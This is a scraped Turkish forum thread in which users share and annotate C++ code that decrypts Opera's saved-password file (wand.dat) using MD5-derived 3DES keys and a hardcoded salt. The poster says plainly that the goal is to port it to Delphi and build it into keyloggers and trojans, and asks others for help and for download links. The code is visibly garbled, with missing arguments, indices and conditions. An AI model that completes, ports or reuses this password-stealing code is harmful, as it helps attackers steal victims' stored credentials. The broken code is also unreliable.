int main { if(argc!= 2) //komut satırından çağrılırken en az iki argümana sahip olması gerekliliği ayarlanmış FILE fdWand = fopen(argv , "rb"); // argüman olarak gsterilen dosya okuma modunda açılmış. if fseek(fdWand, 0, SEEK_END); //dosya gstericisi dosya sonuna konumlandırdı. unsigned long fileSize = ftell ; //ftell komutu dosya gstericisinin yerini bize verir. Yani burada yaptığı şey dosya boyutunu elde etmek. unsigned char wandData = malloc ; //dinamik olarak dosya boyutu kadar yer ayırdı. if rewind ; //dosya gstericisi tekrar başa alındı. fread(wandData, fileSize, 1, fdWand); // dosyayı okudu. fclose ; // dosyayı kapadı. unsigned long wandOffset = 0; delphi bilmiyorum ve uykum geldi. Birazdan yatAcağım için devam edemiyorum. Eğer ki byle bir açıklama sana yeticekse yarın devam edebilirim.? ..

cok güzel çok tesekkürler deevam edersen iyi olur müsait zamanlarinda 🏴Hi'dan gelen varır Who'ya, Hi'da onun adıdır Who'da...

uygun başlık dosyaları olmadan, bunu başaramam.:( ..

bu kodu çalışabilir hale getirebilirmisin ya md5. h ve des. h mi neydi tam hatrlamiorum bunlari ekleyip BloodSheed Dev C++ derleyicisi ile calisablir hale getirebilirmisin?o sekilde neyin ne yaptiğini grmek işimi daha da kolaylastirir... 🏴Hi'dan gelen varır Who'ya, Hi'da onun adıdır Who'da...

PC de Kayitli olan Opera Browserine ait şifrelerC:\Users\test\AppData\Roaming\Opera\Opera\profile\wand. dat bu şifreli dosyada saklaniyor... bu kodlari adim adim anlatabilecek bi c++ koderi cikarsa kolaylikla delphiye cevirebiliriz ve keylogger, trojan gibi yazilimlarimizda kullanabiliriz. programci arkadaslarin yardimlarini bekliorum 🏴Hi'dan gelen varır Who'ya, Hi'da onun adıdır Who'da...

while //wandOffset dosya boyutundan küçükse dn. { // find key length field at start of block unsigned char wandKey = memchr ; //DES_KEY_SZ karakterini arıyor. indexi wandKey' e aktarıyor. if // eğer NULL değer dndüyse dngüden çıkılıyor. wandOffset = ++wandKey - wandData; // wandKey nce 1 arttırılıyor, çıkartma yapılıyor. // create pointers to length fields unsigned char blockLengthPtr = wandKey - 8; // gsterici tanımlandı ve wandKey - 8 değeri aktarıldı. unsigned char dataLengthPtr = wandKey + DES_KEY_SZ;// gstericiye wandkey ile DES_KEY_SZ sabitinin toplamı atılıyor. if // eğer koşul sağlanırsa dngünün geri kalanını işleme ancak devam et. // convert big-endian numbers to native unsigned long blockLength = blockLengthPtr++ << 24; //blockLengthPtr adresindeki değeri 24 bit sola kaydırdıktan sonra değeri bir arttırılıyor. blockLength |= blockLengthPtr++ << 16;//aynı şekilde 16 bit kaydırılıyor ancak yanlızca aktarma değil bitsel veya işlemi uygulanıyor. blockLength |= blockLengthPtr++ << 8; //yukarıdaki ile aynı blockLength |= blockLengthPtr; unsigned long dataLength = dataLengthPtr++ << 24; // yukarıdaki atamalardan bi farkı yok. dataLength |= dataLengthPtr++ << 16; dataLength |= dataLengthPtr++ << 8; dataLength |= dataLengthPtr; // as discussed in the article if(blockLength!= dataLength + DES_KEY_SZ + 4 + 4) // koşul sağlanırsa aşağıyı işleme devam et. ..

GrN bGrN bunu yazdı: int main { if(argc!= 2) //komut satırından çağrılırken en az iki argümana sahip olması gerekliliği ayarlanmış FILE fdWand = fopen(argv , "rb"); // argüman olarak gsterilen dosya okuma modunda açılmış. if fseek(fdWand, 0, SEEK_END); //dosya gstericisi dosya sonuna konumlandırdı. unsigned long fileSize = ftell ; //ftell komutu dosya gstericisinin yerini bize verir. Yani burada yaptığı şey dosya boyutunu elde etmek. unsigned char wandData = malloc ; //dinamik olarak dosya boyutu kadar yer ayırdı. if rewind ; //dosya gstericisi tekrar başa alındı. fread(wandData, fileSize, 1, fdWand); // dosyayı okudu. fclose ; // dosyayı kapadı. unsigned long wandOffset = 0; delphi bilmiyorum ve uykum geldi. Birazdan yatAcağım için devam edemiyorum. Eğer ki byle bir açıklama sana yeticekse yarın devam edebilirim.? rewind ; //dosya gstericisi tekrar başa alındı. fread(wandData, fileSize, 1, fdWand); // dosyayı okudu. fclose ; // dosyayı kapadı. burada bütün dosyayi okuyup wandData degiskeninemi aktariyor? function StringOlarakOku : string;varDosya: FILE;beginAssignFile ;Reset(Dosya, 1);SetLength(result, FileSize ;BlockRead(Dosya, result , FileSize ;CloseFile ;end; wandData : = StringOlarakOku(ParamStr(1)); 🏴Hi'dan gelen varır Who'ya, Hi'da onun adıdır Who'da...

bu includeler openssl devC++ bide openssl indirirsen calisir dedilerama ben anlamiorum :D 🏴Hi'dan gelen varır Who'ya, Hi'da onun adıdır Who'da...

slow down cowboy :| g2k tahribat com

pardon eksk yapistirmisim orjinal kod : // sna@reteam. org - 6th of April 2005#include <cstdio>#include <iostream>#include <memory>#include "md5. h"#include "des. h"const unsigned char opera_salt = ;int main { if(argc!= 2) FILE fdWand = fopen(argv , "rb"); if fseek(fdWand, 0, SEEK_END); unsigned long fileSize = ftell ; unsigned char wandData = malloc ; if rewind ; fread(wandData, fileSize, 1, fdWand); fclose ; unsigned long wandOffset = 0; // // main loop, find and process encrypted blocks // while { // find key length field at start of block unsigned char wandKey = memchr ; if wandOffset = ++wandKey - wandData; // create pointers to length fields unsigned char blockLengthPtr = wandKey - 8; unsigned char dataLengthPtr = wandKey + DES_KEY_SZ; if // convert big-endian numbers to native unsigned long blockLength = blockLengthPtr++ << 24; blockLength |= blockLengthPtr++ << 16; blockLength |= blockLengthPtr++ << 8; blockLength |= blockLengthPtr; unsigned long dataLength = dataLengthPtr++ << 24; dataLength |= dataLengthPtr++ << 16; dataLength |= dataLengthPtr++ << 8; dataLength |= dataLengthPtr; // as discussed in the article if(blockLength!= dataLength + DES_KEY_SZ + 4 + 4) // perform basic sanity checks on data length if(dataLength > fileSize - (wandOffset + DES_KEY_SZ + 4) || dataLength < 8 || dataLength % 8!= 0) unsigned char hashSignature1 , hashSignature2 , tmpBuffer ; // // hashing of , // memcpy(tmpBuffer, opera_salt, sizeof ; memcpy(tmpBuffer + sizeof , wandKey, DES_KEY_SZ); MD5(tmpBuffer, sizeof + DES_KEY_SZ, hashSignature1); memcpy(tmpBuffer, hashSignature1, sizeof(hashSignature1)); memcpy(tmpBuffer + sizeof(hashSignature1), opera_salt, sizeof ; memcpy(tmpBuffer + sizeof(hashSignature1) + sizeof , wandKey, DES_KEY_SZ); MD5(tmpBuffer, sizeof(hashSignature1) + sizeof + DES_KEY_SZ, hashSignature2); // // schedule keys. key material from hashes // DES_key_schedule key_schedule1, key_schedule2, key_schedule3; DES_set_key_unchecked &hashSignature1 , &key_schedule1); DES_set_key_unchecked &hashSignature1 , &key_schedule2); DES_set_key_unchecked &hashSignature2 , &key_schedule3); DES_cblock iVector; memcpy(iVector, &hashSignature2 , sizeof ; unsigned char cryptoData = wandKey + DES_KEY_SZ + 4; // // decrypt wand data in place using 3DES-CBC // DES_ede3_cbc_encrypt(cryptoData, cryptoData, dataLength, &key_schedule1, &key_schedule2, &key_schedule3, &iVector, 0); if(0x00 cryptoData || 0x08 cryptoData) else wandOffset = wandOffset + DES_KEY_SZ + 4 + dataLength; } free ; return 0;} Yeni Download Link : http://up-file.com/download/29f850986c1b803ff111ccb26b715886c 🏴Hi'dan gelen varır Who'ya, Hi'da onun adıdır Who'da...

// sna@reteam. org - 6th of April 2005#include <cstdio>#include <iostream>#include <memory>#include "md5. h"#include "des. h" int main { if(argc!= 2) FILE fdWand = fopen(argv , "rb"); if fseek(fdWand, 0, SEEK_END); unsigned long fileSize = ftell ; unsigned char wandData = malloc ; if rewind ; fread(wandData, fileSize, 1, fdWand); fclose ; unsigned long wandOffset = 0; // // main loop, find and process encrypted blocks // while { // find key length field at start of block unsigned char wandKey = memchr ; if wandOffset = ++wandKey - wandData; // create pointers to length fields unsigned char blockLengthPtr = wandKey - 8; unsigned char dataLengthPtr = wandKey + DES_KEY_SZ; if // convert big-endian numbers to native unsigned long blockLength = blockLengthPtr++ << 24; blockLength |= blockLengthPtr++ << 16; blockLength |= blockLengthPtr++ << 8; blockLength |= blockLengthPtr; unsigned long dataLength = dataLengthPtr++ << 24; dataLength |= dataLengthPtr++ << 16; dataLength |= dataLengthPtr++ << 8; dataLength |= dataLengthPtr; // as discussed in the article if(blockLength!= dataLength + DES_KEY_SZ + 4 + 4) // perform basic sanity checks on data length if(dataLength > fileSize - (wandOffset + DES_KEY_SZ + 4) || dataLength < 8 || dataLength % 8!= 0) unsigned char hashSignature1 , hashSignature2 , tmpBuffer ; // // hashing of , // memcpy(tmpBuffer, opera_salt, sizeof ; memcpy(tmpBuffer + sizeof , wandKey, DES_KEY_SZ); MD5(tmpBuffer, sizeof + DES_KEY_SZ, hashSignature1); memcpy(tmpBuffer, hashSignature1, sizeof(hashSignature1)); memcpy(tmpBuffer + sizeof(hashSignature1), opera_salt, sizeof ; memcpy(tmpBuffer + sizeof(hashSignature1) + sizeof , wandKey, DES_KEY_SZ); MD5(tmpBuffer, sizeof(hashSignature1) + sizeof + DES_KEY_SZ, hashSignature2); // // schedule keys. key material from hashes // DES_key_schedule key_schedule1, key_schedule2, key_schedule3; DES_set_key_unchecked &hashSignature1 , &key_schedule1); DES_set_key_unchecked &hashSignature1 , &key_schedule2); DES_set_key_unchecked &hashSignature2 , &key_schedule3); DES_cblock iVector; memcpy(iVector, &hashSignature2 , sizeof ; unsigned char cryptoData = wandKey + DES_KEY_SZ + 4; // // decrypt wand data in place using 3DES-CBC // DES_ede3_cbc_encrypt(cryptoData, cryptoData, dataLength, &key_schedule1, &key_schedule2, &key_schedule3, &iVector, 0); if(0x00 cryptoData || 0x08 cryptoData) else wandOffset = wandOffset + DES_KEY_SZ + 4 + dataLength; } free ; return 0;} Arkadaslar benim amacim bu kodu delphiye çevirmekyardimci olabilirmisiniz? Programin Orjinal Kodunu buradan indirebilirsiniz : http://up-file.com/download/24df4d00c0029f56ebfa130af77e9cd0b 🏴Hi'dan gelen varır Who'ya, Hi'da onun adıdır Who'da...

: slow down cowboy :| gereksiz yorum atmayiniz... 🏴Hi'dan gelen varır Who'ya, Hi'da onun adıdır Who'da...

evet bütün dosyayı okuyor..

C++ const unsigned char opera_salt = ; DELPHI constopera_salt : array of Byte = ($83, $7D, $FC, $0F, $8E, $B3, $E8, $69, $73, $AF, $FF); bu sekilde adim adim çevirme işlemi yapabiliriz ancak C++ bilgim yeterli olmadiği için yardima ihtiyacim war... 🏴Hi'dan gelen varır Who'ya, Hi'da onun adıdır Who'da...